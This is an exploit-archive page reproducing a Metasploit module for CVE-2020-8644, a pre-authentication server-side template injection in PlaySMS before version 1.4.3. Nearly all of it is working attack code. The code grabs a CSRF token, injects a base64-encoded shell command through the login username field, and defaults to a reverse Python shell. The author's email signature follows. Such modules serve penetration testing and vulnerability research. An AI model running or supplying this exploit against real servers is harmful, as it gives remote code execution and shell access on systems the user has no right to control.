playsms 1.4.3 template injection remote code execution

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playsms 1.4.3 template injection remote code execution Code Code...
				
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'PlaySMS 1.4.3 Pre Auth Template Injection Remote Code Execution', 'Description' => %q{ This module exploits a Preauth Server-Side Template Injection leads remote code execution vulnerability in PlaySMS Before Version 1.4.3. This issue is caused by Double processes a server-side template by Custom PHP Template system called 'TPL'. which is used in PlaySMS template engine location src/Playsms/Tpl.php:_compile(). When Attacker supply username with a malicious payload and submit. This malicious payload first process by TPL and save the value in the current template after this value goes for the second process which result in code execution. The TPL(https://github.com/antonraharja/tpl) template language is vulnerable to PHP code injection. This module was tested against PlaySMS 1.4 on HackTheBox's Forlic Machine. }, 'Author' => [ 'Touhid M.Shaikh <touhidshaikh22[at]gmail.com>', # Metasploit Module 'Lucas Rosevear' # Found and Initial PoC by NCC Groupd ], 'License' => MSF_LICENSE, 'References' => [ ['CVE','2020-8644'], ['URL',' https://research.nccgroup.com/2020/02/11/technical-advisory-playsms-pre-authentication-remote-code-execution-cve-2020-8644/ '] ], 'DefaultOptions' => { 'SSL' => false, 'PAYLOAD' => 'cmd/unix/reverse_python' }, 'Privileged' => false, 'Platform' => %w[unix linux], 'Arch' => ARCH_CMD, 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'python' } }, 'Targets' => [ [ 'PlaySMS Before 1.4.3', { } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Feb 05 2020')) register_options( [ OptString.new('TARGETURI', [ true, "Base playsms directory path", '/']), ]) end def uri return target_uri.path end def check begin res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, 'index.php') }) rescue vprint_error('Unable to access the index.php file') return CheckCode::Unknown end if res.code == 302 && res.headers['Location'].include?('index.php?app=main&inc=core_auth&route=login') return Exploit::CheckCode::Appears end return CheckCode::Safe end #Send Payload in Login Request def login res = send_request_cgi({ 'uri' => normalize_uri(uri, 'index.php'), 'method' => 'GET', 'vars_get' => { 'app' => 'main', 'inc' => 'core_auth', 'route' => 'login', } }) # Grabbing CSRF token from body /name="X-CSRF-Token" value="(?<csrf>[a-z0-9"]+)">/ =~ res.body fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil? vprint_good("X-CSRF-Token for login : #{csrf}") cookies = res.get_cookies vprint_status('Trying to Send Payload in Username Field ......') #Encoded in base64 to avoid HTML TAGS which is filter by Application. evil = "{{`printf #{Rex::Text.encode_base64(payload.encode)}|base64 -d |sh`}}" # Send Payload with cookies. res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(uri, 'index.php'), 'cookie' => cookies, 'vars_get' => Hash[{ 'app' => 'main', 'inc' => 'core_auth', 'route' => 'login', 'op' => 'login', }.to_a.shuffle], 'vars_post' => Hash[{ 'X-CSRF-Token' => csrf, 'username' => evil, 'password' => '' }.to_a.shuffle], }) fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to Login request") if res.nil? # Request Status Check if res.code == 302 print_good("Payload successfully Sent") return cookies else fail_with(Failure::UnexpectedReply, "#{peer} - Something Goes Wrong") end end def exploit cookies = login vprint_status("Cookies here : #{cookies}") # Execute Last Sent Username. res = send_request_cgi({ 'uri' => normalize_uri(uri, 'index.php'), 'method' => 'GET', 'cookie' => cookies, 'vars_get' => { 'app' => 'main', 'inc' => 'core_auth', 'route' => 'login', } }) end end -- Touhid Shaikh Exploit Researcher and Developer | Security Consultant m: +91 7738794435 e: touhidshaikh22@gmail.com www.touhidshaikh.com [image: Facebook icon] <https://www.facebook.com/tauheeds1> [image: LinkedIn icon] <https://www.linkedin.com/in/touhidshaikh22/> [image: Twitter icon] <https://twitter.com/touhidshaikh22> [image: Youtube icon] <https://www.youtube.com/touhidshaikh22> The content of this email is confidential and intended for the recipient specified in message only. It is strictly forbidden to share any part of this message with any third party, without a written consent of the sender. If you received this message by mistake, please reply to this message and follow with its deletion, so that we can ensure such a mistake does not occur in the future.

Playsms 1.4.3 template injection remote code execution Vulnerability / Exploit Source : Playsms 1.4.3 template injection remote code execution



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